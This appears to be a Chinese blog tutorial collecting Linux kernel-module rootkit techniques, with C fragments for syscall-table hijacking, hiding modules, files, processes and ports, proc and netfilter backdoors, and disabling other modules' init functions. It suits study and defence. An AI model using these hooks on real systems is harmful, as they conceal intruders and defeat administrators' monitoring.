• linux lkm rootkit常用技巧


    简介

    搜集一下linux lkm rootkit中常用的一些技巧

    1、劫持系统调用

    遍历地址空间

    根据系统调用中的一些导出函数,比如sys_close的地址来寻找

    unsigned long **
    get_sys_call_table(void)
    {
      unsigned long **entry = (unsigned long **)PAGE_OFFSET;
    
      for (;(unsigned long)entry < ULONG_MAX; entry += 1) {
        if (entry[__NR_close] == (unsigned long *)sys_close) {
            return entry;
          }
      }
    
      return NULL;
    }

    这要求判断的地址是导出函数,这样才能获取到地址

    根据IDT地址,找到中断处理函数,再从中根据特征码找到系统调用表

    在i386的机器中,使用如下代码调用系统调用表

    call *sys_call_table(,%eax,4)

    这条指令的二进制代码是

    0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

    然后根据0xff 0x14 0x85这3个特征码去寻找表的地址

    IDTR idtr; interrupt_descriptor *IDT, *sytem_gate;
    asm("sidt %0" : "=m" (idtr));
    IDT = (interrupt_descriptor *) idtr.base_addr;
    system_gate = &IDT[0x80];
    sys_call_asm = (char *) ((system_gate->off2 << 16) | system_gate->off1);
    for (i = 0; i < 100; i++) {
    if (sys_call_asm[i] == (unsigned char) 0xff &&
    sys_call_asm[i+1] == (unsigned char) 0x14 &&
    sys_call_asm[i+2] == (unsigned char) 0x85)
    *guessed_sct = (unsigned int *) *(unsigned int *) &sys_call_asm[i+3];
    }

    根据system.map来寻找

    System.map位于/boot目录下,内核编译时生的符号表内容

    直接在这个文件中寻找sys_call_table的地址

    内核中kallsym寻找符号地址

    内核中有查询符号表地址的函数,直接使用就可以了

    //查询符号表的函数
    static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
    {
        int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
            if (!name[i++]) return !!(data[1] = addr);
        } return 0;
    }
    /*
    利用kallsyms_on_each_symbol可以查询符号表,只需要传入查询函数就可以了
    data[0]表示要查询的地址
    data[1]表示结果
    */
    static void *khook_lookup_name(const char *name)
    {
        long data[2] = { (long)name, 0 };
        kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
        return (void *)data[1];
    }

    内联钩子

    替换掉内核代码的前一部分,实现劫持内核其他的函数逻辑

    具体可以看这里:https://www.cnblogs.com/likaiming/p/10970543.html

    系统派遣例程篡改

    在整个系统调用的流程中,修改跳转到sys_call_table的地址的位置,然后跳转到自定义伪造系统调用表,这样也可以实现系统调用的劫持

    模拟系统调用

    写一段代码,用到sys_call_table,然后使用objdump查看地址

    #include <stdio.h>
    void fun1()
    {
            printf("fun1/n");
    }
    void fun2()
    {
            printf("fun2/n");
    }
    unsigned int sys_call_table[2] = {fun1, fun2};
    int main(int argc, char **argv)
    {
            asm("call *sys_call_table(%eax,4");
    }

    通过/dev/kmem访问内存来实现系统调用表的搜寻

    这种方式统一和之前的内存地址搜寻一样,需要特征码,比如说0xff 0x14 0x85

    kprobes

    它的工作方式如下:

    1. 用户指定一个探测点,并把一个用户定义的处理函数关联到该探测点
    2. 在注册探测点的时候,对被探测函数的指令码进行替换,替换为int 3的指令码
    3. 在执行int 3的异常执行中,通过通知链的方式调用kprobe的异常处理函数
    4. 在kprobe的异常出来函数中,判断是否存在pre_handler钩子,存在则执行
    5. 执行完后,准备进入单步调试,通过设置EFLAGS中的TF标志位,并且把异常返回的地址修改为保存的原指令码
    6. 代码返回,执行原有指令,执行结束后触发单步异常
    7. 在单步异常的处理中,清除单步标志,执行post_handler流程,并最终返回 

    LSM hook技术

    修改LSM的钩子函数,也就是全局表security_ops的函数指针

    2、隐藏模块

    删除全局模块链表

    lsmod命令是通过/proc/modules来获取当前系统模块信息的,而/proc/modules中的当前系统模块信息是内核利用struct modules结构体的表头遍历内核模块链表、从所有模块的struct module结构体中获取模块的相关信息来得到的。结构体struct module在内核中代表一个内核模块。通过insmod(实际执行init_module系统调用)把自己编写的内核模块插入内核时,模块便与一个 struct module结构体相关联,并成为内核的一部分,所有的内核模块都被维护在一个全局链表中,链表头是一个全局变量struct module *modules。任何一个新创建的模块,都会被加入到这个链表的头部,通过modules->next即可引用到。为了让我们的模块在lsmod命令中的输出里消失掉,我们需要在这个链表内删除我们的模块

    从sysfs中隐藏模块

    除了lsmod命令和相对应的查看/proc/modules以外,我们还可以在sysfs中,也就是通过查看/sys/module/目录来发现现有的模块

    这个问题也很好解决,在初始化函数中添加一行代码即可解决问题

    kobject_del(&THIS_MODULE->mkobj.kobj);

    从文件隐藏的角度来隐藏模块

    前面说到,用户态读取模块信息是proc/modules和sys/modules,可以采用隐藏文件的方式来隐藏这两个文件的信息

    3、后门

    使用proc文件提高进程权限

    新建一个proc文件(当然最后要隐藏),然后自定义file_operation中的写操作,用来提取权限

    使用netfilter过滤进入系统的网络包,通过网络包中特殊字段来做到控制系统

    4、防止其他模块加载

    注册或者注销模块通知处理函数可以使用 register_module_notifier 或者unregister_module_notifier

    编写一个通知处理函数,然后填充 struct notifier_block 结构体, 最后使用register_module_notifier 注册就可以了

    int module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data);
     
    struct notifier_block nb = {
        .notifier_call = module_notifier,
        .priority = INT_MAX
    };

    处理函数里面再更改权限

    int
    fake_init(void);
    void
    fake_exit(void);
     
    int
    module_notifier(struct notifier_block *nb,
                    unsigned long action, void *data)
    {
        struct module *module;
        unsigned long flags;
        // 定义锁。
        DEFINE_SPINLOCK(module_notifier_spinlock);
     
        module = data;
        fm_alert("Processing the module: %s
    ", module->name);
     
        //保存中断状态加锁。
        spin_lock_irqsave(&module_notifier_spinlock, flags);
        switch (module->state) {
        case MODULE_STATE_COMING:
            fm_alert("Replacing init and exit functions: %s.
    ",
                     module->name);
            // 偷天换日:篡改模块的初始函数与退出函数。
            module->init = fake_init;
            module->exit = fake_exit;
            break;
        default:
            break;
        }
     
        // 恢复中断状态解锁。
        spin_unlock_irqrestore(&module_notifier_spinlock, flags);
     
        return NOTIFY_DONE;
    }
     
     
    int
    fake_init(void)
    {
        fm_alert("%s
    ", "Fake init.");
     
        return 0;
    }
     
     
    void
    fake_exit(void)
    {
        fm_alert("%s
    ", "Fake exit.");
     
        return;
    }

    5、隐藏文件

    到文件隐藏,我们不妨先看看文件遍历的实现,在linux内核中,fs eaddir.c中,有3个用来遍历文件的系统调用,old_readdir,getdents和getdents64,看其中两个,也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir

    filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉filldir ,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。

    具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate为我们的假 iterate , 在假函数里把 struct dir_context 里的 actor替换成我们的 假 filldir ,假 filldir 会把需要隐藏的文件过滤掉。

    int
    fake_iterate(struct file *filp, struct dir_context *ctx)
    {
        // 备份真的 ``filldir``,以备后面之需。
        real_filldir = ctx->actor;
     
        // 把 ``struct dir_context`` 里的 ``actor``,
        // 也就是真的 ``filldir``
        // 替换成我们的假 ``filldir``
        *(filldir_t *)&ctx->actor = fake_filldir;
     
        return real_iterate(filp, ctx);
    }
     
    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
            // 如果是需要隐藏的文件,直接返回,不填到缓冲区里。
            fm_alert("Hiding: %s", name);
            return 0;
        }
     
        /* pr_cont("%s ", name); */
     
        // 如果不是需要隐藏的文件,
        // 交给的真的 ``filldir`` 把这个记录填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }

    通用宏

    # define set_f_op(op, path, new, old)                       
        do {                                                    
            struct file *filp;                                  
            struct file_operations *f_op;                       
                                                                
            fm_alert("Opening the path: %s.
    ", path);          
            filp = filp_open(path, O_RDONLY, 0);                
            if (IS_ERR(filp)) {                                 
                fm_alert("Failed to open %s with error %ld.
    ", 
                         path, PTR_ERR(filp));                  
                old = NULL;                                     
            } else {                                            
                fm_alert("Succeeded in opening: %s
    ", path);   
                f_op = (struct file_operations *)filp->f_op;    
                old = f_op->op;                                 
                                                                
                fm_alert("Changing iterate from %p to %p.
    ",   
                         old, new);                             
                disable_write_protection();                     
                f_op->op = new;                                 
                enable_write_protection();                      
            }                                                   
        } while(0)

    比如这么调用下面的代码

    void *dummy;
    set_file_op(iterate, "/", real_iterate, dummy);

    6、隐藏进程

    Linux 上纯用户态枚举并获取进程信息,/proc 是唯一的去处。所以,对用户态隐藏进程,我们可以隐藏掉/proc 下面的目录,这样用户态能枚举出来进程就在我们的控制下了。读者现在应该些许体会到为什么文件隐藏是重点内容了。

    int
    fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned d_type)
    {
        char *endp;
        long pid;
     
        // 把字符串变成长整数。
        pid = simple_strtol(name, &endp, 10);
     
        if (pid == SECRET_PROC) {
            // 是我们需要隐藏的进程,直接返回。
            fm_alert("Hiding pid: %ld", pid);
            return 0;
        }
     
        /* pr_cont("%s ", name); */
     
        // 不是需要隐藏的进程,交给真的 ``filldir`` 填到缓冲区里。
        return real_filldir(ctx, name, namlen, offset, ino, d_type);

    7、隐藏端口

    向用户态隐藏端口, 其实就是在用户进程读/proc下面的相关文件获取端口信息时, 把需要隐藏的的端口的内容过滤掉,使得用户进程读到的内容里面没有我们想隐藏的端口。
    具体说来,看下面的表格。
    网络类型 /proc 文件 内核源码文件 主要实现函数
    TCP / IPv4 /proc/net/tcp net/ipv4/tcp_ipv4.c tcp4_seq_show
    TCP / IPv6 /proc/net/tcp6 net/ipv6/tcp_ipv6.c tcp6_seq_show
    UDP / IPv4 /proc/net/udp net/ipv4/udp.c udp4_seq_show
    UDP / IPv6 /proc/net/udp6 net/ipv6/udp.c udp6_seq_show
  • 相关阅读:
    SSRF——和远程文件包含的区别在于远程文件包含多是包含攻击者的主机文件,SSRF是内网主机的文件
    SSRF中的绕过手段——字节总结得比较好,如何绕过SSRF的保护机制,DNS欺骗,使用IPV6地址,十六进制编码、八进制编码、双字编码、URL编码和混合编码等
    SSRF——服务端请求伪造,根因是file_get_contents,fsockopen,curl_exec函数调用,类似远程文件包含,不过是内网机器
    文件包含——本地文件包含和远程文件包含
    文件包含和目录遍历区别——目标都是信息泄露,但手段一个是利用函数来包含web目录以外的文件,另外一个是对web路径访问权限设置不严格导致
    DFS——单词分割,原来还是要使用cached dp才能避免不超时
    模块module间引用和使用本地maven库的jar包
    机器学习西瓜书白话解读笔记---0401-0404、信息和熵的度量
    机器学习实战笔记---0、读大纲
    心得体悟帖---201129(【社会规律】)
  • 原文地址:https://www.cnblogs.com/likaiming/p/11002351.html
Copyright © 2020-2023  润新知